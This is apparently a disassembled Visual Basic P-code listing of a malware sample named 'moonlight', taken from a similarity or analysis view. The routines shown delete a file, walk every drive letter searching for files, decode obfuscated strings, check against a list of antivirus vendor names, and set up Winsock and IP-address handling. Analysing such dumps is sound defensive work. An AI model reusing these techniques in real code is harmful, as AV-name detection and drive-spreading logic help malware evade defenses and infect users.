Similarity

File moonlight_4ee502b0ead248bae0a05466deb54e9bb532a9c41de1480425eb48eacf508e75.exe

Function:

0040d5e4
0040d5e4fn_40d5e4:
0040d5e4LitI4 0
0040d5e9ImpAdLdRf pool#0
0040d5ecLitVarStr var_C4, "\\64enc.en"
0040d5f1ConcatVar var_D4
0040d5f5ImpAdCallI2 rtcDir, 8
0040d5faFStStrNoPop var_D8
0040d5fdLitStr ""
0040d600NeStr
0040d602FFree1Str var_D8
0040d605FFree1Var var_D4
0040d608BranchF 0x40d61f
0040d60bImpAdLdRf pool#0
0040d60eLitVarStr var_C4, "\\64enc.en"
0040d613ConcatVar var_D4
0040d617ImpAdCallFPR4 rtcKillFiles, 4
0040d61cFFree1Var var_D4
0040d61f
0040d61floc_40d61f:
0040d61fImpAdLdRf pool#5
0040d622LitVarStr var_C4, "\\MYpIC.zip"
0040d627ConcatVar var_D4
0040d62bCStrVarVal 65320
0040d62fImpAdCallI2 pool#7, 4
0040d634FStStr var_B4
0040d637FFree1Str var_D8
0040d63aFFree1Var var_D4
0040d63dImpAdLdRf pool#0
0040d640LitVarStr var_C4, "\\64enc.en"
0040d645ConcatVar var_D4
0040d649CStrVarTmp
0040d64aPopTmpLdAdStr 65320
0040d64eFLdRfVar var_B4
0040d651FLdRfVar var_E8
0040d654ImpAdCallFPR4 pool#8, 12
0040d659FFree1Str var_D8
0040d65cFFreeVar var_D4, var_E8
0040d663LitI2_Byte 67
0040d665FLdRfVar var_AE
0040d668LitI2_Byte 90
0040d66aForI2 65300, 231
0040d670FLdI2 var_AE
0040d673CI4UI1
0040d674FLdRfVar var_D4
0040d677ImpAdCallFPR4 rtcVarBstrFromAnsi, 8
0040d67cFLdRfVar var_D4
0040d67fLitVarStr var_C4, ":\\"
0040d684ConcatVar var_E8
0040d688CStrVarTmp
0040d689FStStr var_98
0040d68cFFreeVar var_D4, var_E8
0040d693LitVar_FALSE 65340
0040d697FStVar 65284
0040d69bLitStr "*.*"
0040d69eFStStrCopy var_D8
0040d6a1FLdRfVar var_D8
0040d6a4LitI2_Byte -1
0040d6a6PopTmpLdAd2 65276
0040d6a9LitI2_Byte 0
0040d6abPopTmpLdAd2 65278
0040d6aeLitI2_Byte 0
0040d6b0PopTmpLdAd2 65280
0040d6b3LitI2_Byte -1
0040d6b5PopTmpLdAd2 65282
0040d6b8FLdRfVar var_98
0040d6bbImpAdCallFPR4 pool#12, 24
0040d6c0FFree1Str var_D8
0040d6c3FLdRfVar var_AE
0040d6c6NextI2 65300, 140
0040d6cbExitProcCb 16
0040d5e4

0040d6cf
0040d6cf struct PCodePad
0040d6cf 49 I
0040d6d0
0040d6d0 struct ProcDscInfo
0040d6d0 lpObjectInfo uint32 0x4041b8
0040d6d4 wArgSize int 8
0040d6d6 wFrameSize int 128
0040d6d8 wPCodeBackOffset uint16 0x40d5e4
0040d6da wTotalSize uint16 0x003c
0040d6dc wProcOptFlags uint16 0x0000
0040d6de wReserved uint16 0x0000
0040d6e0 wBosSkipTableOff uint16 0x0000
0040d6e2 wBaseIfaceSlot uint16 0x0013
0040d6e4 wReserved2 uint16 0x0000
0040d6e6 wReserved3 uint16 0x0000
0040d6e8
0040d6e8 24 00 00 00 00 00 06 00 $.......
0040d6f0 00 00 00 01 6c ff 02 00 64 ff 01 00 68 ff 01 00 ....l...d...h...
0040d700 54 ff 02 00 04 ff 02 00 4c ff 01 00 18 00 00 00 T.......L.......
0040d710 00 00 03 00 00 00 00 00 28 ff 01 00 2c ff 02 00 ........(...,...
0040d720 18 ff 02 00 ....

0040d724
0040d724fn_40d724:
0040d724ILdRf arg_C
0040d727FStStrCopy var_8C
0040d72aILdRf arg_10
0040d72dFStStrCopy var_90
0040d730ILdRf arg_14
0040d733FStStrCopy var_94
0040d736OnErrorGoto 0x40d7fb
0040d739LitVarI2 65344, 0
0040d73eLitI4 255
0040d743ImpAdCallI2 rtcStringBstr, 8
0040d748FStStr var_9C
0040d74bFFree1Var var_C0
0040d74eFMemLdR4 arg_8, 232
0040d753FLdRfVar var_D4
0040d756CStr2Ansi
0040d757ILdRf var_D4
0040d75aILdRf var_9C
0040d75dFnLenStr
0040d75eILdRf var_9C
0040d761FLdRfVar var_D0
0040d764CStr2Ansi
0040d765ILdRf var_D0
0040d768ILdRf var_94
0040d76bFLdRfVar var_CC
0040d76eCStr2Ansi
0040d76fILdRf var_CC
0040d772ILdRf var_90
0040d775FLdRfVar var_C8
0040d778CStr2Ansi
0040d779ILdRf var_C8
0040d77cILdRf var_8C
0040d77fFLdRfVar var_C4
0040d782CStr2Ansi
0040d783ILdRf var_C4
0040d786ImpAdCallI2 fn_4062dc, 24
0040d78bFStR4 65320
0040d78eSetLastSystemError
0040d78fILdRf var_C4
0040d792FLdRfVar var_8C
0040d795CStr2Uni
0040d797ILdRf var_C8
0040d79aFLdRfVar var_90
0040d79dCStr2Uni
0040d79fILdRf var_CC
0040d7a2FLdRfVar var_94
0040d7a5CStr2Uni
0040d7a7ILdRf var_D0
0040d7aaFLdRfVar var_9C
0040d7adCStr2Uni
0040d7afILdRf var_D4
0040d7b2FMemLdRf arg_8, 232
0040d7b7CStr2Uni
0040d7b9ILdRf var_D8
0040d7bcCI2I4
0040d7bdFStI2 -158
0040d7c0FFreeStr var_C4, var_C8, var_CC, var_D0, var_D4
0040d7cdFLdI2 var_9E
0040d7d0CI4UI1
0040d7d1FLdRfVar var_9C
0040d7d4CVarRef 65360, 16392
0040d7d9FLdRfVar var_C0
0040d7dcImpAdCallFPR4 rtcLeftCharVar, 12
0040d7e1FLdRfVar var_C0
0040d7e4FLdRfVar var_E8
0040d7e7ImpAdCallFPR4 rtcTrimVar, 8
0040d7ecFLdRfVar var_E8
0040d7efCStrVarTmp
0040d7f0FStStr var_88
0040d7f3FFreeVar var_C0, var_E8
0040d7faExitProc
0040d7fb
0040d7fbloc_40d7fb:
0040d7fbILdRf var_94
0040d7feFStStrCopy var_88
0040d801ExitProc
0040d724

0040d802
0040d802 struct PCodePad
0040d802 00 00 ..
0040d804
0040d804 struct ProcDscInfo
0040d804 lpObjectInfo uint32 0x403ff0
0040d808 wArgSize int 16
0040d80a wFrameSize int 100
0040d80c wPCodeBackOffset uint16 0x40d724
0040d80e wTotalSize uint16 0x003c
0040d810 wProcOptFlags uint16 0x0000
0040d812 wReserved uint16 0x0000
0040d814 wBosSkipTableOff uint16 0x0000
0040d816 wBaseIfaceSlot uint16 0x0013
0040d818 wReserved2 uint16 0x0000
0040d81a wReserved3 uint16 0x0000
0040d81c
0040d81c 24 00 00 00 $...
0040d820 00 00 06 00 00 00 00 01 78 ff 01 00 70 ff 01 00 ........x...p...
0040d830 74 ff 01 00 68 ff 01 00 6c ff 01 00 64 ff 01 00 t...h...l...d...
0040d840 28 00 00 00 00 00 07 00 00 00 00 00 3c ff 01 00 (...........<...
0040d850 38 ff 01 00 34 ff 01 00 30 ff 01 00 2c ff 01 00 8...4...0...,...
0040d860 40 ff 02 00 18 ff 02 00 @.......

0040d868
0040d868fn_40d868:
0040d868LitI4 0
0040d86dLitI4 3
0040d872FLdRfVar var_130
0040d875Redim 1, 0, 16, 2176
0040d87fLitVarStr var_BC, "g`yz\x7fj"
0040d884FStVarCopyObj var_CC
0040d887FLdRfVar var_CC
0040d88aImpAdCallI2 pool#1, 4
0040d88fCVarStr var_140
0040d892ParmAry1St 65232, 0
0040d898LitVarStr var_DC, "Gf{dhg)GCll\x7flz"
0040d89dFStVarCopyObj var_EC
0040d8a0FLdRfVar var_EC
0040d8a3ImpAdCallI2 pool#1, 4
0040d8a8CVarStr var_150
0040d8abParmAry1St 65232, 1
0040d8b1LitVarStr var_FC, "g\x7fjfhz"
0040d8b6FStVarCopyObj var_10C
0040d8b9FLdRfVar var_10C
0040d8bcImpAdCallI2 pool#1, 4
0040d8c1CVarStr var_160
0040d8c4ParmAry1St 65232, 2
0040d8caLitVarStr var_11C, "Gf{dhg)Shgmh"
0040d8cfFStVarCopyObj var_12C
0040d8d2FLdRfVar var_12C
0040d8d5ImpAdCallI2 pool#1, 4
0040d8daCVarStr var_170
0040d8ddParmAry1St 65232, 3
0040d8e3FLdRfVar var_130
0040d8e6FLdRfVar var_180
0040d8e9ImpAdCallFPR4 rtcArray, 8
0040d8eeFLdRfVar var_130
0040d8f1Erase
0040d8f2FLdRfVar var_180
0040d8f5FStVar 65372
0040d8f9FFreeVar var_CC, var_EC, var_10C, var_12C
0040d904LitI2_Byte 0
0040d906FLdRfVar var_AA
0040d909FLdRfVar var_A4
0040d90cCRefVarAry
0040d90ePopAdLd4
0040d90fLitI2_Byte 1
0040d911FnUBound
0040d913CI2I4
0040d914ForI2 65148, 222
0040d91aImpAdCallFPR4 rtcDoEvents, 0
0040d91fFLdRfVar var_AA
0040d922CDargRef 16386
0040d926FLdRfVar var_A4
0040d929VarIndexLdVar 65332, 1
0040d92fCStrVarTmp
0040d930FStStr var_A8
0040d933FFree1Var var_CC
0040d936FLdRfVar var_A8
0040d939ImpAdCallFPR4 pool#35, 4
0040d93eFLdRfVar var_AA
0040d941NextI2 65148, 178
0040d946ExitProcCb 16
0040d868

0040d94a
0040d94a struct PCodePad
0040d94a 2b 2c +,
0040d94c
0040d94c struct ProcDscInfo
0040d94c lpObjectInfo uint32 0x403e7c
0040d950 wArgSize int 8
0040d952 wFrameSize int 256
0040d954 wPCodeBackOffset uint16 0x40d868
0040d956 wTotalSize uint16 0x0030
0040d958 wProcOptFlags uint16 0x0000
0040d95a wReserved uint16 0x0000
0040d95c wBosSkipTableOff uint16 0x0000
0040d95e wBaseIfaceSlot uint16 0x0013
0040d960 wReserved2 uint16 0x0000
0040d962 wReserved3 uint16 0x0000
0040d964
0040d964 18 00 00 00 00 00 03 00 00 00 00 01 ............
0040d970 6c ff 02 00 58 ff 01 00 5c ff 02 00 3a 00 00 00 l...X...\...:...
0040d980 00 00 0a 00 00 00 00 00 34 ff 02 00 14 ff 02 00 ........4.......
0040d990 f4 fe 02 00 d4 fe 02 00 c0 fe 02 00 b0 fe 02 00 ................
0040d9a0 a0 fe 02 00 90 fe 02 00 80 fe 02 00 d0 fe 05 01 ................
0040d9b0 04 70 ff 04 02 00 00 00 .p......

0040d9b8
0040d9b8fn_40d9b8:
0040d9b8FLdRfVar var_21C
0040d9bbLitI4 257
0040d9c0ImpAdCallI2 fn_406f9c, 8
0040d9c5FStR4 64976
0040d9c8SetLastSystemError
0040d9c9ILdRf var_230
0040d9ccCI2I4
0040d9cdFStI2 -542
0040d9d0FLdI2 var_21E
0040d9d3LitI2_Byte 0
0040d9d5NeI2
0040d9d6BranchF 0x40d9da
0040d9d9ExitProcI2
0040d9da
0040d9daloc_40d9da:
0040d9daFLdI2 var_21C
0040d9ddCI4UI1
0040d9deImpAdCallI2 pool#7, 4
0040d9e3CI4UI1
0040d9e4LitI4 1
0040d9e9LtI4
0040d9eaFLdI2 var_21C
0040d9edCI4UI1
0040d9eeImpAdCallI2 pool#7, 4
0040d9f3CI4UI1
0040d9f4LitI4 1
0040d9f9EqI4
0040d9faFLdI2 var_21C
0040d9fdCI4UI1
0040d9feImpAdCallI2 pool#8, 4
0040da03CI4UI1
0040da04LitI4 1
0040da09LtI4
0040da0aAndI4
0040da0bOrI4
0040da0cBranchF 0x40da87
0040da0fFLdI2 var_21C
0040da12CI4UI1
0040da13ImpAdCallI2 pool#8, 4
0040da18CVarI2 64944
0040da1bImpAdCallI2 rtcStrFromVar, 4
0040da20FStStrNoPop var_254
0040da23ImpAdCallI2 rtcTrimBstr, 4
0040da28FStStr var_228
0040da2bFFree1Str var_254
0040da2eFFree1Var var_250
0040da31FLdI2 var_21C
0040da34CI4UI1
0040da35ImpAdCallI2 pool#7, 4
0040da3aCVarI2 64944
0040da3dImpAdCallI2 rtcStrFromVar, 4
0040da42FStStrNoPop var_254
0040da45ImpAdCallI2 rtcTrimBstr, 4
0040da4aFStStr var_224
0040da4dFFree1Str var_254
0040da50FFree1Var var_250
0040da53LitStr "Windows Sockets Version "
0040da56ILdRf var_224
0040da59ConcatStr
0040da5aFStStrNoPop var_254
0040da5dLitStr "."
0040da60ConcatStr
0040da61FStStrNoPop var_258
0040da64ILdRf var_228
0040da67ConcatStr
0040da68FStStr var_22C
0040da6bFFreeStr var_254, var_258
0040da72ILdRf var_22C
0040da75LitStr " is not supported by Windows "
0040da78ConcatStr
0040da79FStStrNoPop var_254
0040da7cLitStr "Sockets For 32 bit Windows environments."
0040da7fConcatStr
0040da80FStStr var_22C
0040da83FFree1Str var_254
0040da86ExitProcI2
0040da87
0040da87loc_40da87:
0040da87ILdRf var_94
0040da8aLitI4 1
0040da8fLtI4
0040da90BranchF 0x40dac3
0040da93LitStr "This application requires a minimum of "
0040da96LitVarI2 64944, 1
0040da9bImpAdCallI2 rtcStrFromVar, 4
0040daa0FStStrNoPop var_254
0040daa3ImpAdCallI2 rtcTrimBstr, 4
0040daa8FStStrNoPop var_258
0040daabConcatStr
0040daacFStStrNoPop var_25C
0040daafLitStr " supported sockets."
0040dab2ConcatStr
0040dab3FStStr var_22C
0040dab6FFreeStr var_254, var_258, var_25C
0040dabfFFree1Var var_250
0040dac2ExitProcI2
0040dac3
0040dac3loc_40dac3:
0040dac3LitI2_Byte -1
0040dac5FStI2 -134
0040dac8ExitProcI2
0040d9b8

0040dac9
0040dac9 struct PCodePad
0040dac9 00 00 00 ...
0040dacc
0040dacc struct ProcDscInfo
0040dacc lpObjectInfo uint32 0x404b14
0040dad0 wArgSize int 4
0040dad2 wFrameSize int 472
0040dad4 wPCodeBackOffset uint16 0x40d9b8
0040dad6 wTotalSize uint16 0x0030
0040dad8 wProcOptFlags uint16 0x0000
0040dada wReserved uint16 0x0000
0040dadc wBosSkipTableOff uint16 0x0000
0040dade wBaseIfaceSlot uint16 0x0013
0040dae0 wReserved2 uint16 0x0000
0040dae2 wReserved3 uint16 0x0000
0040dae4
0040dae4 18 00 00 00 00 00 03 00 00 00 00 00 ............
0040daf0 dc fd 01 00 d4 fd 01 00 d8 fd 01 00 1c 00 00 00 ................
0040db00 00 00 04 00 00 00 00 00 ac fd 01 00 a8 fd 01 00 ................
0040db10 a4 fd 01 00 b0 fd 02 00 ........

0040db18
0040db18fn_40db18:
0040db18LargeBos 2
0040db1aLargeBos 5
0040db1cOnErrorGoto 65535
0040db1fLargeBos 10
0040db21LitI4 -1
0040db26FStR4 65392
0040db29LargeBos 37
0040db2bFLdRfVar var_8C
0040db2eLitI2_Byte 0
0040db30LitI4 0
0040db35LitI4 0
0040db3aLitI4 2
0040db3fImpAdCallI2 fn_407df4, 20
0040db44FStR4 65352
0040db47SetLastSystemError
0040db48ILdRf var_B8
0040db4bFStR4 65400
0040db4eLargeBos 24
0040db50ILdRf var_88
0040db53LitI4 0
0040db58EqI4
0040db59ILdRf var_8C
0040db5cLitI4 0
0040db61NeI4
0040db62AndI4
0040db63BranchF 0x40dc29
0040db66LargeBos 40
0040db68LitI4 16384
0040db6dPopTmpLdAdStr 65352
0040db70LitI4 0
0040db75FLdRfVar var_B0
0040db78Ary1LdRf
0040db79FLdRfVar var_90
0040db7cILdRf var_8C
0040db7fImpAdCallI2 fn_407e40, 16
0040db84FStR4 65348
0040db87SetLastSystemError
0040db88ILdRf var_BC
0040db8bFStR4 65400
0040db8eLargeBos 14
0040db90ILdRf var_88
0040db93LitI4 0
0040db98EqI4
0040db99BranchF 0x40dc11
0040db9cLargeBos 23
0040db9eLitI2_Byte 0
0040dba0FLdRfVar var_92
0040dba3ILdRf var_90
0040dba6LitI4 1
0040dbabSubI4
0040dbacCI2I4
0040dbadForI2 65344, 246
0040dbb3LargeBos 21
0040dbb5FLdI2 var_92
0040dbb8CI4UI1
0040dbb9FLdRfVar var_B0
0040dbbcAry1LdPr
0040dbbdMemLdRfVar 20
0040dbc0ImpAdCallI2 pool#8, 4
0040dbc5FStStr var_98
0040dbc8LargeBos 13
0040dbcaFLdRfVar var_98
0040dbcdImpAdCallI2 pool#9, 4
0040dbd2FStStr var_98
0040dbd5LargeBos 24
0040dbd7FLdI2 var_92
0040dbdaCI4UI1
0040dbdbFLdRfVar var_B0
0040dbdeAry1LdPr
0040dbdfMemLdStr arg_C
0040dbe2LitI4 2
0040dbe7AndI4
0040dbe8CBoolI4
0040dbeaBranchF 0x40dc02
0040dbedLargeBos 21
0040dbefILdRf arg_C
0040dbf2FLdRfVar var_98
0040dbf5FLdI2 var_92
0040dbf8CI4UI1
0040dbf9FLdRfVar var_B0
0040dbfcAry1LdRf
0040dbfdImpAdCallFPR4 pool#10, 12
0040dc02
0040dc02loc_40dc02:
0040dc02LargeBos 2
0040dc04LargeBos 10
0040dc06FLdRfVar var_92
0040dc09NextI2 65344, 155
0040dc0eBranch 0x40dc24
0040dc11
0040dc11loc_40dc11:
0040dc11LargeBos 14
0040dc13ILdRf var_88
0040dc16LitI4 259
0040dc1bEqI4
0040dc1cBranchF 0x40dc22
0040dc1fBranch 0x40dc24
0040dc22
0040dc22loc_40dc22:
0040dc22LargeBos 2
0040dc24
0040dc24loc_40dc24:
0040dc24LargeBos 2
0040dc26Branch 0x40dc2b
0040dc29
0040dc29loc_40dc29:
0040dc29LargeBos 2
0040dc2b
0040dc2bloc_40dc2b:
0040dc2bLargeBos 2
0040dc2dLargeBos 20
0040dc2fILdRf var_8C
0040dc32ImpAdCallI2 fn_407e88, 4
0040dc37FStR4 65352
0040dc3aSetLastSystemError
0040dc3bILdRf var_B8
0040dc3eFStR4 65400
0040dc41LargeBos 0
0040dc43ExitProc
0040db18

0040dc44
0040dc44 struct ProcDscInfo
0040dc44 lpObjectInfo uint32 0x403d58
0040dc48 wArgSize int 8
0040dc4a wFrameSize int 60
0040dc4c wPCodeBackOffset uint16 0x40db18
0040dc4e wTotalSize uint16 0x0050
0040dc50 wProcOptFlags uint16 0x0000
0040dc52 wReserved uint16 0x0000
0040dc54 wBosSkipTableOff uint16 0x0000
0040dc56 wBaseIfaceSlot uint16 0x0013
0040dc58 wReserved2 uint16 0x0000
0040dc5a wReserved3 uint16 0x0000
0040dc5c
0040dc5c 38 00 00 00 8...
0040dc60 01 00 02 00 00 00 00 00 68 ff 01 00 50 ff 05 00 ........h...P...
0040dc70 00 00 00 00 00 00 00 00 18 49 d2 02 01 00 12 00 .........I......
0040dc80 20 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 ...............
0040dc90 00 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 ................

0040dca0
0040dca0fn_40dca0:
0040dca0LitI4 0
0040dca5LitI4 11
0040dcaaFLdRfVar var_AC
0040dcadRedim 1, 0, 16, 2176
0040dcb7LitVarStr var_BC, "security"
0040dcbcLitI4 0
0040dcc1ILdRf var_AC
0040dcc4Ary1StVarCopy
0040dcc6LitVarStr var_CC, "avira"
0040dccbLitI4 1
0040dcd0ILdRf var_AC
0040dcd3Ary1StVarCopy
0040dcd5LitVarStr var_DC, "norman"
0040dcdaLitI4 2
0040dcdfILdRf var_AC
0040dce2Ary1StVarCopy
0040dce4LitVarStr var_EC, "norton"
0040dce9LitI4 3
0040dceeILdRf var_AC
0040dcf1Ary1StVarCopy
0040dcf3LitVarStr var_FC, "panda"
0040dcf8LitI4 4
0040dcfdILdRf var_AC
0040dd00Ary1StVarCopy
0040dd02LitVarStr var_10C, "mcafee"
0040dd07LitI4 5
0040dd0cILdRf var_AC
0040dd0fAry1StVarCopy
0040dd11LitVarStr var_11C, "Syman"
0040dd16LitI4 6
0040dd1bILdRf var_AC
0040dd1eAry1StVarCopy
0040dd20LitVarStr var_12C, "sophos"
0040dd25LitI4 7
0040dd2aILdRf var_AC
0040dd2dAry1StVarCopy
0040dd2fLitVarStr var_13C, "Trend"
0040dd34LitI4 8
0040dd39ILdRf var_AC
0040dd3cAry1StVarCopy
0040dd3eLitVarStr var_14C, "vaksin"
0040dd43LitI4 9
0040dd48ILdRf var_AC
0040dd4bAry1StVarCopy
0040dd4dLitVarStr var_15C, "novell"
0040dd52LitI4 10
0040dd57ILdRf var_AC
0040dd5aAry1StVarCopy
0040dd5cLitVarStr var_16C, "virus"
0040dd61LitI4 11
0040dd66ILdRf var_AC
0040dd69Ary1StVarCopy
0040dd6bFLdRfVar var_AC
0040dd6eFLdRfVar var_17C
0040dd71ImpAdCallFPR4 rtcArray, 8
0040dd76FLdRfVar var_AC
0040dd79Erase
0040dd7aFLdRfVar var_17C
0040dd7dFStVar 65372
0040dd81LitI2_Byte 0
0040dd83FLdRfVar var_A6
0040dd86FLdRfVar var_A4
0040dd89CRefVarAry
0040dd8bPopAdLd4
0040dd8cLitI2_Byte 1
0040dd8eFnUBound
0040dd90CI2I4
0040dd91ForI2 65152, 319
0040dd97ImpAdCallFPR4 rtcDoEvents, 0
0040dd9cLitI4 1
0040dda1ILdI4 arg_10
0040dda4CVarStr var_CC
0040dda7FLdRfVar var_A6
0040ddaaCDargRef 16386
0040ddaeFLdRfVar var_A4
0040ddb1VarIndexLdVar 65156, 1
0040ddb7LitI4 1
0040ddbcFnInStr4Var 65136
0040ddc0LitVarI2 65316, 0
0040ddc5HardType
0040ddc6NeVarBool
0040ddc8FFreeVar var_17C, var_190
0040ddcfBranchF 0x40ddd7
0040ddd2LitI2_Byte -1
0040ddd4ImpAdStI2 pool#30
0040ddd7
0040ddd7loc_40ddd7:
0040ddd7FLdRfVar var_A6
0040dddaNextI2 65152, 247
0040dddfExitProcCb 16
0040dca0

0040dde3
0040dde3 struct PCodePad
0040dde3 6c l
0040dde4
0040dde4 struct ProcDscInfo
0040dde4 lpObjectInfo uint32 0x403e7c
0040dde8 wArgSize int 12
0040ddea wFrameSize int 284
0040ddec wPCodeBackOffset uint16 0x40dca0
0040ddee wTotalSize uint16 0x002c
0040ddf0 wProcOptFlags uint16 0x0000
0040ddf2 wReserved uint16 0x0000
0040ddf4 wBosSkipTableOff uint16 0x0000
0040ddf6 wBaseIfaceSlot uint16 0x0013
0040ddf8 wReserved2 uint16 0x0000
0040ddfa wReserved3 uint16 0x0000
0040ddfc
0040ddfc 14 00 00 00 ....
0040de00 00 00 02 00 00 00 00 01 6c ff 02 00 5c ff 02 00 ........l...\...
0040de10 22 00 00 00 00 00 04 00 00 00 00 00 84 fe 02 00 "...............
0040de20 70 fe 02 00 60 fe 02 00 54 ff 05 01 ff 00 2b 2e p...`...T.....+.
0040de30 02 00 00 00 ....

0040de34
0040de34fn_40de34:
0040de34ILdRf arg_10
0040de37FStStrCopy var_88
0040de3aILdRf arg_14
0040de3dFStStrCopy var_8C
0040de40ILdI2 arg_1C
0040de43LitI2_Byte -1
0040de45EqI2
0040de46BranchF 0x40de54
0040de49LitI4 4
0040de4eFStR4 65388
0040de51Branch 0x40de5c
0040de54
0040de54loc_40de54:
0040de54LitI4 1
0040de59FStR4 65388
0040de5c
0040de5cloc_40de5c:
0040de5cFLdRfVar var_90
0040de5fILdRf var_88
0040de62FLdRfVar var_A0
0040de65CStr2Ansi
0040de66ILdRf var_A0
0040de69ILdRf arg_C
0040de6cImpAdCallI2 fn_4082b8, 12
0040de71FStR4 65372
0040de74SetLastSystemError
0040de75ILdRf var_A0
0040de78FLdRfVar var_88
0040de7bCStr2Uni
0040de7dILdRf var_A4
0040de80FMemStI4 arg_8, 0
0040de85FFree1Str var_A0
0040de88ILdRf var_94
0040de8bFStR4 65368
0040de8eILdRf var_A8
0040de91LitI4 1
0040de96EqI4
0040de97BranchF 0x40df17
0040de9aILdRf arg_18
0040de9dFLdRfVar var_B8
0040dea0ImpAdCallFPR4 rtcTrimVar, 8
0040dea5FLdRfVar var_B8
0040dea8LitI4 0
0040deadFLdRfVar var_C8
0040deb0ImpAdCallFPR4 rtcVarBstrFromAnsi, 8
0040deb5FLdRfVar var_C8
0040deb8ConcatVar var_D8
0040debcCStrVarTmp
0040debdFStStr var_9C
0040dec0FFreeVar var_B8, var_C8, var_D8
0040dec9ILdRf var_9C
0040deccFnLenStr
0040decdILdRf var_9C
0040ded0FLdRfVar var_DC
0040ded3CStr2Ansi
0040ded4ILdRf var_DC
0040ded7ILdRf var_94
0040dedaLitI4 0
0040dedfILdRf var_8C
0040dee2FLdRfVar var_A0
0040dee5CStr2Ansi
0040dee6ILdRf var_A0
0040dee9ILdRf var_90
0040deecImpAdCallI2 fn_408458, 24
0040def1FStR4 65372
0040def4SetLastSystemError
0040def5ILdRf var_A0
0040def8FLdRfVar var_8C
0040defbCStr2Uni
0040defdILdRf var_DC
0040df00FLdRfVar var_9C
0040df03CStr2Uni
0040df05ILdRf var_A4
0040df08FMemStI4 arg_8, 0
0040df0dFFreeStr var_A0, var_DC
0040df14Branch 0x40df67
0040df17
0040df17loc_40df17:
0040df17ILdRf var_A8
0040df1aLitI4 4
0040df1fEqI4
0040df20BranchF 0x40df67
0040df23ILdRfDarg 24, 65300
0040df29FnCLngVar
0040df2bFStR4 65384
0040df2eLitI4 4
0040df33FLdRfVar var_98
0040df36ILdRf var_94
0040df39LitI4 0
0040df3eILdRf var_8C
0040df41FLdRfVar var_A0
0040df44CStr2Ansi
0040df45ILdRf var_A0
0040df48ILdRf var_90
0040df4bImpAdCallI2 fn_408458, 24
0040df50FStR4 65372
0040df53SetLastSystemError
0040df54ILdRf var_A0
0040df57FLdRfVar var_8C
0040df5aCStr2Uni
0040df5cILdRf var_A4
0040df5fFMemStI4 arg_8, 0
0040df64FFree1Str var_A0
0040df67
0040df67loc_40df67:
0040df67ILdRf var_90
0040df6aImpAdCallI2 fn_408270, 4
0040df6fFStR4 65372
0040df72SetLastSystemError
0040df73ILdRf var_A4
0040df76FMemStI4 arg_8, 0
0040df7bExitProc
0040de34

0040df7c
0040df7c struct ProcDscInfo
0040df7c lpObjectInfo uint32 0x403b6c
0040df80 wArgSize int 24
0040df82 wFrameSize int 104
0040df84 wPCodeBackOffset uint16 0x40de34
0040df86 wTotalSize uint16 0x0030
0040df88 wProcOptFlags uint16 0x0000
0040df8a wReserved uint16 0x0000
0040df8c wBosSkipTableOff uint16 0x0000
0040df8e wBaseIfaceSlot uint16 0x0013
0040df90 wReserved2 uint16 0x0000
0040df92 wReserved3 uint16 0x0000
0040df94
0040df94 18 00 00 00 00 00 03 00 00 00 00 00 ............
0040dfa0 64 ff 01 00 74 ff 01 00 78 ff 01 00 20 00 00 00 d...t...x... ...
0040dfb0 00 00 05 00 00 00 00 00 60 ff 01 00 24 ff 01 00 ........`...$...
0040dfc0 48 ff 02 00 38 ff 02 00 28 ff 02 00 H...8...(...

0040dfcc
0040dfccfn_40dfcc:
0040dfccILdRf arg_C
0040dfcfFStStrCopy var_8C
0040dfd2LitI2_Byte 0
0040dfd4FStI2 -134
0040dfd7LitI4 1
0040dfdcLitI4 1
0040dfe1LitVarStr var_B4, "############"
0040dfe6FStVarCopyObj var_C4
0040dfe9FLdRfVar var_C4
0040dfecFLdRfVar var_8C
0040dfefCVarRef 65372, 16392
0040dff4FLdRfVar var_D4
0040dff7ImpAdCallFPR4 rtcVarFromFormatVar, 20
0040dffcFLdRfVar var_D4
0040dfffCStrVarTmp
0040e000FStStr var_90
0040e003FFreeVar var_C4, var_D4
0040e00aFLdRfVar var_90
0040e00dCVarRef 65372, 16392
0040e012ImpAdCallI2 rtcIsNumeric, 4
0040e017NotI4
0040e018ILdRf var_90
0040e01bFnLenStr
0040e01cILdRf var_8C
0040e01fFnLenStr
0040e020LitI4 3
0040e025SubI4
0040e026NeI4
0040e027OrI4
0040e028BranchF 0x40e02c
0040e02bExitProcI2
0040e02c
0040e02cloc_40e02c:
0040e02cLitVarI2 65340, 1
0040e031LitI4 1
0040e036FLdRfVar var_8C
0040e039CVarRef 65372, 16392
0040e03eFLdRfVar var_D4
0040e041ImpAdCallFPR4 rtcMidCharVar, 16
0040e046FLdRfVar var_D4
0040e049LitVarStr var_E4, "."
0040e04eHardType
0040e04fEqVar 65292
0040e053LitVarI2 65244, 1
0040e058ILdRf var_8C
0040e05bFnLenStr
0040e05cFLdRfVar var_8C
0040e05fCVarRef 65276, 16392
0040e064FLdRfVar var_134
0040e067ImpAdCallFPR4 rtcMidCharVar, 16
0040e06cFLdRfVar var_134
0040e06fLitVarStr var_144, "."
0040e074HardType
0040e075EqVar 65196
0040e079OrVar 65180
0040e07dCBoolVarNull
0040e07fFFreeVar var_C4, var_D4, var_124, var_134
0040e08aBranchF 0x40e08e
0040e08dExitProcI2
0040e08e
0040e08eloc_40e08e:
0040e08eLitI2_Byte 0
0040e090FStI2 -146
0040e093LitI2_Byte 0
0040e095FStI2 -148
0040e098
0040e098loc_40e098:
0040e098FLdI2 var_94
0040e09bLitI2_Byte 1
0040e09dAddI2
0040e09eCI4UI1
0040e09fILdRf var_8C
0040e0a2LitStr "."
0040e0a5LitI4 0
0040e0aaFnInStr4
0040e0acCI2I4
0040e0adFStI2 -148
0040e0b0FLdI2 var_94
0040e0b3LitI2_Byte 0
0040e0b5NeI2
0040e0b6BranchF 0x40e0c2
0040e0b9FLdI2 var_92
0040e0bcLitI2_Byte 1
0040e0beAddI2
0040e0bfFStI2 -146
0040e0c2
0040e0c2loc_40e0c2:
0040e0c2FLdI2 var_92
0040e0c5LitI2_Byte 3
0040e0c7EqI2
0040e0c8FLdI2 var_94
0040e0cbLitI2_Byte 0
0040e0cdEqI2
0040e0ceOrI4
0040e0cfNotI4
0040e0d0BranchT 0x40e098
0040e0d3FLdI2 var_92
0040e0d6LitI2_Byte 3
0040e0d8NeI2
0040e0d9BranchF 0x40e0dd
0040e0dcExitProcI2
0040e0dd
0040e0ddloc_40e0dd:
0040e0ddILdRf var_8C
0040e0e0FLdRfVar var_168
0040e0e3CStr2Ansi
0040e0e4ILdRf var_168
0040e0e7ImpAdCallI2 fn_407160, 4
0040e0ecFStR4 65172
0040e0efSetLastSystemError
